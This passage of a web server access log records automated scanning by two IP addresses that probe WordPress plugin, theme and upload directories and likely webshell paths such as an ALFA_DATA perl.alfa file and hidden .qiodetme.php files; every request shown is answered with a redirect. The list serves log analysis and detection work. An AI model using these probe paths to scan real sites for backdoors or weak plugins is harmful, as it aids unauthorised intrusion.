Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:13 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:13 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:13 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.89 - - [27/Apr/2025:19:24:13 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:13 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:24:13 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:24:13 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:14 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:14 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:24:14 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:14 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:14 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:14 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:15 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.89 - - [27/Apr/2025:19:24:15 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:15 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:15 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:15 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:16 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:16 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:16 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:16 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:16 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:17 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:17 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:17 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:17 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:24:18 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:19 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:19 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:19 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.89 - - [27/Apr/2025:19:24:19 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:19 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:19 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:24:19 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:19 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:20 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:21 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:24:22 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:22 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:24:22 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:22 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:22 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:22 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:22 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:22 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:24:23 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:23 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:23 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:23 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:23 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:24 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:24 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.89 - - [27/Apr/2025:19:24:24 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:24 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:24 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:24 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:24 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:24 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:25 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:25 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:25 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:25 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:24:25 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:25 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:25 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:10 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:10 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:10 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:10 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:10 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:10 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:10 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:11 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:12 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 